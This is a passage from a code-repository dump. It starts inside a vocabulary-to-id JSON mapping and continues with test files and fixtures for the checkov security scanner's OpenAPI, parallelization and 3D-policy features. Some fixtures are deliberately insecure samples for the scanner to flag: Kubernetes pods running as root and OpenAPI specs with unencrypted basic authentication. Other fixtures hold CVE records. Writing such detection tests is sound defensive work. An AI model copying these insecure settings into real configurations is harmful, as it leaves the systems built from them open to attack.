"shopping easier": 224904, "geekwire gala": 224905, "officials declined": 224906, "sergio sanchez": 224907, "abandon planned": 224908, "pdf": 224909, "products general": 224910, "political tool": 224911, "x1 ta": 224912, "selected readings": 224913, "tying": 224914, "house camera": 224915, "community activism": 224916, "nazi germany": 224917, "junqueira": 224918, "sockslane products": 224919, "canceling new": 224920, "close just": 224921, "american center": 224922, "nerves bulls": 224923, "life host": 224924, "begin amazon": 224925, "html cnn": 224926, "bulk shippers": 224927, "turnover": 224928, "authorities control": 224929, "venue choice": 224930, "point hope": 224931, "declining cashflow": 224932, "wasserman": 224933, "process opapp": 224934, "proposals rfp": 224935, "buying time": 224936, "new challenges": 224937, "newsmax": 224938, "100 shares": 224939, "apwu teamed": 224940, "fedex plummeted": 224941, "lee atwater": 224942, "fawned": 224943, "official online": 224944, "including engineers": 224945, "descriptiontext sears": 224946, "growth tech": 224947, "taliban says": 224948, "publisher printing": 224949, "david katz": 224950, "ambition": 224951, "coexist dec": 224952, "blackmailing": 224953, "pathetic attempt": 224954, "previous strength": 224955, "suggested major": 224956, "developer blockchain": 224957, "foods cuts": 224958, "davia": 224959, "quiet political": 224960, "republicans amazon": 224961, "temporary talking": 224962, "want employees": 224963, "judgment released": 224964, "york prosecutors": 224965, "day soaking": 224966, "shiff": 224967, "shape public": 224968, "sweat": 224969, "couple underscored": 224970, "aikman spanish": 224971, "jobs apple": 224972, "deaf located": 224973, "expecting good": 224974, "newscaster": 224975, "mitigate costs": 224976, "inc_code_only_text": 224977, "shipping space": 224978, "traditional questions": 224979, "friend": 224980, "cites unnamed": 224981, "customer demand": 224982, "jordan": 224983, "product changes": 224984, "jones movies": 224985, "longtime facebook": 224986, "clash probably": 224987, "trump posted": 224988, "ran": 224989, "bedroom covered": 224990, "hired advisers": 224991, "weber subscription": 224992, "took rare": 224993, "aisle driven": 224994, "awaited decision": 224995, "choice program": 224996, "products delivered": 224997, "short circuiting": 224998, "boycottetsy": 224999, "air package": 225000, "bezos comments": 225001, "trump photograph": 225002, "strengthens": 225003, "possess": 225004, "royalsdevilmagic": 225005, "warner assets": 225006, "expanding": 225007, "tag cloud": 225008, "sortation": 225009, "intolerance news": 225010, "215 million": 225011, "paltry": 225012, "gain posted": 225013, "krugman famously": 225014, "reportedly told": 225015, "court imageurl": 225016, "ultimately kavanaugh": 225017, "bounce": 225018, "futile": 225019, "bs_bullet_primary kept": 225020, "panama papers": 225021, "funnel overseas": 225022, "trump way": 225023, "amazon word": 225024, "conn": 225025, "trump known": 225026, "sensationally": 225027, "commentary 2019": 225028, "book published": 225029, "chipped": 225030, "sophomore seasons": 225031, "100 deplorable": 225032, "highest profile": 225033, "north": 225034, "depicted": 225035, "lengthy talks": 225036, "studio cuts": 225037, "entrepreneurs including": 225038, "rolling stone": 225039, "fda official": 225040, "bankers association": 225041, "challenger": 225042, "candidates ice": 225043, "rest": 225044, "members decide": 225045, "growing base": 225046, "talent pool": 225047, "share dwarfs": 225048, "slightly late": 225049, "terrific foresight": 225050, "recode podcast": 225051, "e0 l4": 225052, "swaggering lex": 225053, "2018 company": 225054, "public service": 225055, "1606et copyright": 225056, "just make": 225057, "underwear freeman": 225058, "affair president": 225059, "transcript follows": 225060, "peter fonda": 225061, "dancing elephants": 225062, "disregarded": 225063, "thwart": 225064, "radically transformed": 225065, "pass continuing": 225066, "broadway musical": 225067, "rudolph giuliani": 225068, "include sears": 225069, "matches played": 225070, "232 billion": 225071, "netflix declined": 225072, "removal say": 225073, "initiating": 225074, "communications professionals": 225075, "jackson essentially": 225076, "ideology intellectual": 225077, "artful boundaries": 225078, "share president": 225079, "mesa": 225080, "needs amazon": 225081, "null relatedarticles": 225082, "holiday seasons": 225083, "contentid onadplay": 225084, "expressed respect": 225085, "platooning enabling": 225086, "ramy": 225087, "iannucci": 225088, "laing": 225089, "amazon blue": 225090, "welch": 225091, "staab": 225092, "contribute": 225093, "starfish costume": 225094, "gabriel": 225095, "having deflected": 225096, "medicaid": 225097, "case r4ee": 225098, "beaten": 225099, "minimums": 225100, "enchancment": 225101, "506 shares": 225102, "political conversation": 225103, "radical abuse": 225104, "syed recommendation": 225105, "parroting false": 225106, "beckons": 225107, "multicarrier focused": 225108, "sister barbara": 225109, "shepard rocket": 225110, "regulation bezos": 225111, "self knowledge": 225112, "investigation told": 225113, "travis kalanick": 225114, "earnest": 225115, "include mark": 225116, "different places": 225117, "responsible hands": 225118, "fintech firms": 225119, "company milk": 225120, "\u0430a missing": 225121, "flag shades": 225122, "odd cramer": 225123, "countries particularly": 225124, "trump disdain": 225125, "foe bozo": 225126, "45th": 225127, "immediate progress": 225128, "painful journey": 225129, "team handling": 225130, "galloway willful": 225131, "giving whiskey": 225132, "reporter ashley": 225133, "director dan": 225134, "worth materially": 225135, "globally": 225136, "emergency unites": 225137, "trump ticks": 225138, "otting occ": 225139, "making public": 225140, "slogans": 225141, "la va": 225142, "shocking idea": 225143, "clinches": 225144, "cries extortion": 225145, "function communications": 225146, "mos": 225147, "labor contracts": 225148, "scare alabama": 225149, "american values": 225150, "rusty old": 225151, "chip giant": 225152, "murdoch mann": 225153, "tv commercial": 225154, "outrperform": 225155, "representing state": 225156, "leaders dividend": 225157, "post afterward": 225158, "misses": 225159, "false mustreadarticles": 225160, "bipartisan legislation": 225161, "jewel": 225162, "late noughts": 225163, "formal investigations": 225164, "rout seen": 225165, "jay newton": 225166 } ================================================ FILE: tests/openapi/runner/resources/v2/invalid.json ================================================ true ================================================ FILE: tests/openapi/runner/resources/v2/swagger_empty_paths.yaml ================================================ --- swagger: '2.0' info: version: 1.0.0 title: Prophet Assumptions Manager service to connect to AM API schemes: - https consumes: - application/json produces: - application/json definitions: {} paths: host: localhost:1083 ================================================ FILE: tests/openapi/runner/resources/v3/example.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "components": { "securitySchemes": { "encryptedScheme": { "type": "oauth2" } } }, "paths": { "/": { "get": { "security": [ { "encryptedScheme": [ "write", "read" ] } ] } } } } ================================================ FILE: tests/openapi/runner/resources/v3/example.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 components: securitySchemes: unencryptedScheme: type: http scheme: basic paths: "/": get: security: - unencryptedScheme: [] ================================================ FILE: tests/openapi/runner/resources/v3/example1.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "security": [] } ================================================ FILE: tests/openapi/runner/resources/v3/example1.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 security: - test: [] components: securitySchemes: - test: type: http scheme: basic ================================================ FILE: tests/openapi/runner/test_runner.py ================================================ import os import unittest import json from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.output.sarif import Sarif from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.openapi.checks.registry import openapi_registry class TestRunnerValid(unittest.TestCase): def test_runner(self) -> None: current_dir = os.path.dirname(__file__) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() checks = ["CKV_OPENAPI_1", "CKV_OPENAPI_4", "CKV_OPENAPI_3"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['openapi'], checks=checks) ) self.assertEqual(len(report.failed_checks), 12) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 6) self.assertEqual(report.skipped_checks, []) def test_runner_honors_enforcement_rules(self) -> None: current_dir = os.path.dirname(__file__) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() filter = RunnerFilter(framework=['openapi'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.OPENAPI: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_registry_has_type(self): self.assertEqual(openapi_registry.report_type, CheckType.OPENAPI) def test_runner_all_checks(self) -> None: current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['openapi']) ) def test_pre_validate_non_openapi_file(self) -> None: runner = Runner() file_content = """ '--- :audit_id: 2018-04-23T224508479Z :status_id: 2018-04-23T224508479Z :environment: ss-uw1-stg :ref: 1.0.0-86-d9c550ede2e6b64ce3b758769e755c2a6584478c :repo: email_classifier :creator: deploybot :task: deployment :status: :pending :description: \'\' ' """ result = runner.pre_validate_file(file_content) self.assertFalse(result) def test_pre_validate_openapi_yaml_file(self) -> None: runner = Runner() file_content = """ 'openapi: 3.0.0 info: title: test version: 1.0.0 security: - test: [] components: securitySchemes: - test: type: http scheme: basic ' """ result = runner.pre_validate_file(file_content) self.assertTrue(result) def test_pre_validate_openapi_json_file(self) -> None: runner = Runner() file_content = json.dumps( { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "components": { "securitySchemes": { "encryptedScheme": { "type": "oauth2" } } }, "paths": { "/": { "get": { "security": [ { "encryptedScheme": [ "write", "read" ] } ] } } } } ) result = runner.pre_validate_file(file_content) self.assertTrue(result) def test_runner_results_consistency(self) -> None: current_dir = os.path.dirname(__file__) valid_dir_path = os.path.join(current_dir, "resources") results_file_path = os.path.join(current_dir, "resources/runner_results/results.sarif") runner = Runner() checks = ["CKV_OPENAPI_1", "CKV_OPENAPI_4", "CKV_OPENAPI_3"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['openapi'], checks=checks) ) self.assertEqual(len(report.failed_checks), 12) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 6) self.assertEqual(report.skipped_checks, []) with open(results_file_path) as f: expected_report_dict = json.loads(f.read()) json_sarif_report = Sarif(reports=[report], tool="test").json self.assertEqual(len(json_sarif_report["runs"][0]["results"]), len(expected_report_dict["runs"][0]["results"])) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/parallel/__init__.py ================================================ ================================================ FILE: tests/parallel/test_parallel.py ================================================ import os import unittest from unittest.mock import patch from checkov.common.models.enums import ParallelizationType from checkov.common.parallelizer.parallel_runner import ParallelRunner class TestParallel(unittest.TestCase): # Windows os tests @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_default_for_windows(self) -> None: with unittest.mock.patch('platform.system', return_value='Windows'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.THREAD) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'none'}) def test_windows_with_override_to_none(self) -> None: with unittest.mock.patch('platform.system', return_value='Windows'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.NONE) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'fork'}) def test_windows_with_override_to_fork(self) -> None: # fork and spawn is not supporting by Windows with unittest.mock.patch('platform.system', return_value='Windows'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.FORK) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_windows_with_explicitly_to_spawn(self) -> None: # fork and spawn is not supporting by Windows with unittest.mock.patch('platform.system', return_value='Windows'): parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.SPAWN) self.assertEqual(parallel_runner.type, ParallelizationType.THREAD) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_windows_with_explicitly_to_none(self) -> None: with unittest.mock.patch('platform.system', return_value='Darwin'): parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.NONE) self.assertEqual(parallel_runner.type, ParallelizationType.NONE) # macOS os tests @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_mac_default(self) -> None: with unittest.mock.patch('platform.system', return_value='Darwin'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.THREAD) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'none'}) def test_mac_with_override_to_none(self) -> None: with unittest.mock.patch('platform.system', return_value='Darwin'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.NONE) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'fork'}) def test_mac_with_override_to_fork(self) -> None: # fork and spawn is not supporting by macOS with unittest.mock.patch('platform.system', return_value='Darwin'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.FORK) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_mac_with_explicitly_to_spawn(self) -> None: # fork and spawn is not supporting by macOS with unittest.mock.patch('platform.system', return_value='Darwin'): parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.SPAWN) self.assertEqual(parallel_runner.type, ParallelizationType.THREAD) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_mac_with_explicitly_to_none(self) -> None: with unittest.mock.patch('platform.system', return_value='Darwin'): parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.NONE) self.assertEqual(parallel_runner.type, ParallelizationType.NONE) # general tests @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_default_linux(self) -> None: with unittest.mock.patch('platform.system', return_value='Linux'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.FORK) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'spawn'}) def test_linux_override_by_env_param(self) -> None: with unittest.mock.patch('platform.system', return_value='Linux'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.SPAWN) @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'}) def test_linux_override_by_incoming_param(self) -> None: with unittest.mock.patch('platform.system', return_value='Linux'): parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.SPAWN) self.assertEqual(parallel_runner.type, ParallelizationType.SPAWN) @patch.dict(os.environ, {'PYCHARM_HOSTED': '1'}) def test_linux_running_by_pycharm(self) -> None: with unittest.mock.patch('platform.system', return_value='Linux'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.NONE) @patch.dict(os.environ, {'PYCHARM_HOSTED': '1', 'CHECKOV_PARALLELIZATION_TYPE': 'spawn'}) def test_linux_running_by_pycharm_override_by_env_param(self) -> None: with unittest.mock.patch('platform.system', return_value='Linux'): parallel_runner = ParallelRunner() self.assertEqual(parallel_runner.type, ParallelizationType.SPAWN) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/policies_3d/__init__.py ================================================ ================================================ FILE: tests/policies_3d/conftest.py ================================================ from __future__ import annotations from typing import Any import pytest from checkov.common.bridgecrew.severities import Severity, Severities, BcSeverities from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.policies_3d.record import Policy3dRecord @pytest.fixture() def k8s_record_1() -> Record: return Record( check_name='Check 1 title', check_result={'result': CheckResult.FAILED}, file_path='/dir_a/dir_b/file1.yaml', file_line_range=[1, 16], resource='Pod.default.testPod1', check_class='', bc_check_id='BC_K8S_1', code_block=[(1, 'apiVersion: v1\n'), (2, 'kind: Pod\n'), (3, 'metadata:\n'), (4, ' name: 3d-policy-3\n'), (5, 'spec:\n'), (6, ' containers:\n'), (7, ' - name: demo 1\n'), (8, ' image: ubuntu:latest\n'), (9, ' securityContext:\n'), (10, ' runAsNonRoot: false\n'), (11, ' - name: demo 2\n'), (12, ' image: ubuntu:latest\n'), (13, ' securityContext:\n'), (14, ' runAsUser: 0\n'), (15, ' - name: demo 3\n'), (16, ' image: ubuntu:latest\n')], file_abs_path='/root/dir_a/dir_b/file1.yaml', evaluations={}, check_id='', severity=Severities[BcSeverities.MEDIUM]) @pytest.fixture() def k8s_record_2() -> Record: return Record( check_name='Check 2 title', check_result={'result': CheckResult.FAILED}, file_path='/dir_a/dir_b/file1.yaml', file_line_range=[1, 16], resource='Pod.default.testPod1', check_class='', bc_check_id='BC_K8S_2', code_block=[(1, 'apiVersion: v1\n'), (2, 'kind: Pod\n'), (3, 'metadata:\n'), (4, ' name: 3d-policy-3\n'), (5, 'spec:\n'), (6, ' containers:\n'), (7, ' - name: demo 1\n'), (8, ' image: ubuntu:latest\n'), (9, ' securityContext:\n'), (10, ' runAsNonRoot: false\n'), (11, ' - name: demo 2\n'), (12, ' image: ubuntu:latest\n'), (13, ' securityContext:\n'), (14, ' runAsUser: 0\n'), (15, ' - name: demo 3\n'), (16, ' image: ubuntu:latest\n')], file_abs_path='/root/dir_a/dir_b/file1.yaml', evaluations={}, check_id='', severity=Severities[BcSeverities.LOW]) @pytest.fixture() def k8s_record_3() -> Record: return Record( check_name='Check 3 title', check_result={'result': CheckResult.FAILED}, file_path='/dir_a/dir_b/file2.yaml', file_line_range=[1, 16], resource='Pod.default.testPod2', check_class='', bc_check_id='BC_K8S_3', code_block=[(1, 'apiVersion: v1\n'), (2, 'kind: Pod\n'), (3, 'metadata:\n'), (4, ' name: 3d-policy-3\n'), (5, 'spec:\n'), (6, ' containers:\n'), (7, ' - name: demo 1\n'), (8, ' image: image-with-no-cves\n'), (9, ' securityContext:\n'), (10, ' runAsNonRoot: false\n'), (11, ' - name: demo 2\n'), (12, ' image: ubuntu:latest\n'), (13, ' securityContext:\n'), (14, ' runAsUser: 0\n'), (15, ' - name: demo 3\n'), (16, ' image: ubuntu:latest\n')], file_abs_path='/root/dir_a/dir_b/file2.yaml', evaluations={}, check_id='', severity=Severities[BcSeverities.HIGH]) @pytest.fixture() def k8s_report(k8s_record_1, k8s_record_2, k8s_record_3) -> Report: report = Report(check_type='kubernetes') report.add_record(k8s_record_1) report.add_record(k8s_record_2) report.add_record(k8s_record_3) return report @pytest.fixture() def k8s_report_2(k8s_record_1, k8s_record_3) -> Report: report = Report(check_type='kubernetes') report.add_record(k8s_record_1) report.add_record(k8s_record_3) return report @pytest.fixture() def cve_1() -> dict[str, Any]: return {'cveId': 'CVE-2022-42898', 'status': 'fixed in 1.19.2-2ubuntu0.1', 'severity': 'medium', 'packageName': 'krb5', 'packageVersion': '1.19.2-2', 'dockerImageName': 'ubuntu:latest', 'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-42898', 'cvss': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'description': 'PAC parsing in MIT Kerberos 5 (aka krb5) before 1.19.4 ...', 'riskFactors': ['DoS', 'Has fix', 'Medium severity', 'Recent vulnerability', 'Remote execution', 'Attack complexity: low', 'Attack vector: network'], 'publishedDate': '2022-12-25T06:15:00Z'} @pytest.fixture() def cve_2() -> dict[str, Any]: return {'cveId': 'CVE-2022-3821', 'status': 'needed', 'severity': 'medium', 'packageName': 'systemd', 'packageVersion': '249.11-0ubuntu3.6', 'dockerImageName': 'ubuntu:latest', 'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-3821', 'cvss': 5.5, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'description': 'An off-by-one Error issue was discovered in Systemd in ...', 'riskFactors': ['DoS', 'Medium severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2022-11-08T22:15:00Z'} @pytest.fixture() def sca_image_cached_results(cve_1, cve_2) -> list[dict[str, Any]]: return [{'dockerImageName': 'ubuntu:latest', 'dockerFilePath': '/dir_a/dir_b/file1.yaml', 'dockerFileContent': 'image: ubuntu:latest', 'type': 'Image', 'sourceId': 'owner-name/repo-name', 'branch': 'branch-name', 'sourceType': 'cli', 'relatedResourceId': '/root/dir_a/dir_b/file1.yaml:Pod.default.testPod1', 'vulnerabilities': [cve_1, cve_2]}] @pytest.fixture() def sca_image_report(sca_image_cached_results) -> Report: report = Report(check_type='sca_image') report.image_cached_results = sca_image_cached_results return report @pytest.fixture() def scan_reports(k8s_report, sca_image_report) -> list[Report]: return [k8s_report, sca_image_report] @pytest.fixture() def scan_reports_2(k8s_report_2, sca_image_report) -> list[Report]: return [k8s_report_2, sca_image_report] @pytest.fixture() def policy_3d_1() -> dict[str, Any]: return {'id': 'CKV_P3D_1', 'title': '3d policy 1', 'guideline': 'guideline-1', 'severity': 'CRITICAL', 'category': 'Policy3D', 'code': '{"iac":{"kubernetes":["BC_K8S_1"]},"cve":{"risk_factor":["DoS"]}}'} @pytest.fixture() def policy_3d_2() -> dict[str, Any]: return {'id': 'CKV_P3D_2', 'title': '3d policy 2', 'guideline': 'guideline-2', 'severity': 'CRITICAL', 'category': 'Policy3D', 'code': '{"iac":{"kubernetes":["BC_K8S_2"]},"cve":{"risk_factor":["Recent vulnerability"]}}'} @pytest.fixture() def policy_3d_3() -> dict[str, Any]: return {'id': 'CKV_P3D_3', 'title': '3d policy 3', 'guideline': 'guideline-3', 'severity': 'CRITICAL', 'category': 'Policy3D', 'code': '{"iac":{"kubernetes":["BC_K8S_1", "BC_K8S_2"]},"cve":{"risk_factor":["Recent vulnerability"]}}'} @pytest.fixture def raw_3d_policy(): return {'id': 'BC_3D_500', 'title': 'title_500', 'guideline': 'guideline_500', 'severity': 'CRITICAL', 'pcSeverity': 'CRITICAL', 'category': 'Policy3D', 'code': """{ "version": "v1", "definition": [ { "cves": { "or": [ { "and": [ { "risk_factor": "DoS" }, { "risk_factor": "Medium Severity" } ] } ] } }, { "iac": { "or": [ { "violation_id": "BC_K8S_1" }, { "violation_id": "BC_K8S_23" } ] } } ] }""" } @pytest.fixture() def policy_3d_record_single_iac_single_cve(k8s_record_1, cve_1) -> Policy3dRecord: record = Policy3dRecord( bc_check_id='BC_P3D_1', check_id='BC_P3D_1', check_name='3d policy 1', check_result={'result': CheckResult.FAILED}, code_block=[], evaluations=None, file_path='', file_abs_path='', resource='', check_class='', file_line_range=[-1, -1], iac_records=[k8s_record_1], vulnerabilities=[cve_1], severity=Severities[BcSeverities.LOW], composed_from_iac_records=[], composed_from_secrets_records=[], composed_from_cves=[] ) record.set_guideline('https://docs.bridgecrew.io/docs/bc_p3d_1') return record @pytest.fixture() def policy_3d_record_multi_iac_multi_cve(k8s_record_1, k8s_record_2, k8s_record_3, cve_1, cve_2) -> Policy3dRecord: record = Policy3dRecord( bc_check_id='BC_P3D_1', check_id='BC_P3D_1', check_name='3d policy 1', check_result={'result': CheckResult.FAILED}, code_block=[], evaluations=None, file_path='', file_abs_path='', resource='', check_class='', file_line_range=[-1, -1], iac_records=[k8s_record_1, k8s_record_2, k8s_record_3], vulnerabilities=[cve_1, cve_2], severity=Severities[BcSeverities.LOW], composed_from_iac_records=[], composed_from_secrets_records=[], composed_from_cves=[] ) record.set_guideline('https://docs.bridgecrew.io/docs/bc_p3d_1') return record ================================================ FILE: tests/policies_3d/syntax/cves_syntax/test_cves_syntax.py ================================================ import pytest from checkov.policies_3d.syntax.cves_syntax import RiskFactorCVEContains @pytest.fixture def cve_report_string_risk_factors(): return { 'cveId': 'cveId', 'status': 'status', 'severity': 'severity', 'packageName': 'packageName', 'packageVersion': 'packageVersion', 'link': 'link', 'publishedDate': 'publishedDate', 'cvss': 'cvss', 'vector': 'vector', 'description': 'description', 'riskFactors': 'DoS' } @pytest.fixture def cve_report_list_risk_factors(): return { 'cveId': 'cveId', 'status': 'status', 'severity': 'severity', 'packageName': 'packageName', 'packageVersion': 'packageVersion', 'link': 'link', 'publishedDate': 'publishedDate', 'cvss': 'cvss', 'vector': 'vector', 'description': 'description', 'riskFactors': ['DoS', 'RCE'] } @pytest.fixture def cve_report_list_prefix_risk_factors(): return { 'cveId': 'cveId', 'status': 'status', 'severity': 'severity', 'packageName': 'packageName', 'packageVersion': 'packageVersion', 'link': 'link', 'publishedDate': 'publishedDate', 'cvss': 'cvss', 'vector': 'vector', 'description': 'description', 'riskFactors': ['DoS - High', 'RCE'] } def test_risk_factor_cve_contains_normalizes_risk_factors(cve_report_string_risk_factors): # Arrange risk_factors = ['dos'] predicate = RiskFactorCVEContains(risk_factors, cve_report_string_risk_factors) # Assert assert predicate.risk_factors == ['dos'] assert predicate.cve_report['riskFactors'] == ['dos'] def test_risk_factor_cve_contains_true(cve_report_string_risk_factors): # Arrange risk_factors = ['dos'] predicate = RiskFactorCVEContains(risk_factors, cve_report_string_risk_factors) # Act predicate() # Assert assert predicate.is_true def test_risk_factor_cve_contains_false(cve_report_string_risk_factors): # Arrange risk_factors = ['not a risk factor'] predicate = RiskFactorCVEContains(risk_factors, cve_report_string_risk_factors) # Act predicate() # Arrange assert not predicate.is_true def test_risk_factor_cve_contains_true_2(cve_report_list_risk_factors): # Arrange risk_factors = ['dos'] predicate = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors) # Act predicate() # Assert assert predicate.is_true def test_risk_factor_cve_contains_true_3(cve_report_list_prefix_risk_factors): # Arrange risk_factors = ['dos'] predicate = RiskFactorCVEContains(risk_factors, cve_report_list_prefix_risk_factors) # Act predicate() # Assert assert predicate.is_true def test_risk_factor_cve_contains_false_2(cve_report_list_risk_factors): # Arrange risk_factors = ['not a risk factor'] predicate = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors) # Act predicate() # Arrange assert not predicate.is_true def test_risk_factor_cve_contains_true_equality(cve_report_list_risk_factors): # Arrange risk_factors = ['Dos'] p1 = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors) p2 = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors) # Assert assert p1 == p2 def test_risk_factor_cve_contains_false_equality(cve_report_list_risk_factors): # Arrange risk_factors_1 = ['Dos'] risk_factors_2 = ['RCE'] p1 = RiskFactorCVEContains(risk_factors_1, cve_report_list_risk_factors) p2 = RiskFactorCVEContains(risk_factors_2, cve_report_list_risk_factors) # Assert assert p1 != p2 ================================================ FILE: tests/policies_3d/syntax/iac_syntax/test_iac_syntax.py ================================================ import pytest from checkov.common.output.record import Record from checkov.policies_3d.syntax.iac_syntax import ViolationIdEquals @pytest.fixture def record() -> Record: _check_id = 'CHECK_ID' return Record( bc_check_id=_check_id, check_id=_check_id, check_name='mock', check_result={'result': 'failed'}, code_block=[], file_path='', file_line_range=[], resource='', check_class='', file_abs_path='', evaluations={} ) def test_violation_id_equals_predicate_true(record: Record): # Arrange check_id = 'CHECK_ID' predicate = ViolationIdEquals(record, check_id) # Act predicate() # Assert assert predicate.is_true def test_violation_id_equals_predicate_false(record: Record): # Arrange check_id = 'NOT_A_CHECK_ID' predicate = ViolationIdEquals(record, check_id) # Act predicate() # Assert assert not predicate.is_true def test_violation_id_equals_predicate_false_equality(record: Record): # Arrange check_id_1 = 'CHECK_ID_1' check_id_2 = 'CHECK_ID_2' p1 = ViolationIdEquals(record, check_id_1) p2 = ViolationIdEquals(record, check_id_2) # Assert assert p1 != p2 def test_violation_id_equals_predicate_true_equality(record: Record): # Arrange check_id = 'CHECK_ID' p1 = ViolationIdEquals(record, check_id) p2 = ViolationIdEquals(record, check_id) # Assert assert p1 == p2 ================================================ FILE: tests/policies_3d/syntax/test_predicament.py ================================================ from checkov.common.output.record import Record from checkov.policies_3d.syntax.iac_syntax import ViolationIdEquals import pytest from checkov.policies_3d.syntax.syntax import Predicament @pytest.fixture def record_1() -> Record: _check_id = 'CHECK_ID_1' return Record( bc_check_id=_check_id, check_id=_check_id, check_name='mock', check_result={'result': 'failed'}, code_block=[], file_path='', file_line_range=[], resource='', check_class='', file_abs_path='', evaluations={} ) @pytest.fixture def record_2() -> Record: _check_id = 'CHECK_ID_2' return Record( bc_check_id=_check_id, check_id=_check_id, check_name='mock', check_result={'result': 'failed'}, code_block=[], file_path='', file_line_range=[], resource='', check_class='', file_abs_path='', evaluations={} ) def test_get_all_children_predicates(record_1): # Arrange p1 = ViolationIdEquals(record_1, 'CHECK_ID') predicament = Predicament( logical_op='and', predicates=[p1] ) # Act predicates = predicament.get_all_children_predicates() # Assert assert predicates == {p1} def test_get_all_children_predicates_with_nested_predicaments(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'CHECK_ID_2') predicament = Predicament( logical_op='and', predicates=[p1, p2] ) # Act predicates = predicament.get_all_children_predicates() # Assert assert predicates == {p1, p2} def test_and_predicament_true(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'CHECK_ID_2') predicament = Predicament( logical_op='and', predicates=[p1, p2] ) # Act res = predicament() # Assert assert res assert all(predicate.is_true for predicate in predicament.predicates) def test_and_predicament_false(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'CHECK_ID_2') predicament = Predicament( logical_op='and', predicates=[p1, p2] ) # Act res = predicament() # Assert assert not res assert not predicament.predicates[0].is_true assert predicament.predicates[1].is_true def test_or_predicament_true(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'CHECK_ID_2') predicament = Predicament( logical_op='or', predicates=[p1, p2] ) # Act res = predicament() # Assert assert res assert not predicament.predicates[0].is_true assert predicament.predicates[1].is_true def test_or_predicament_false(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'NOT_CHECK_ID_2') predicament = Predicament( logical_op='or', predicates=[p1, p2] ) # Act res = predicament() # Assert assert not res assert not predicament.predicates[0].is_true assert not predicament.predicates[1].is_true def 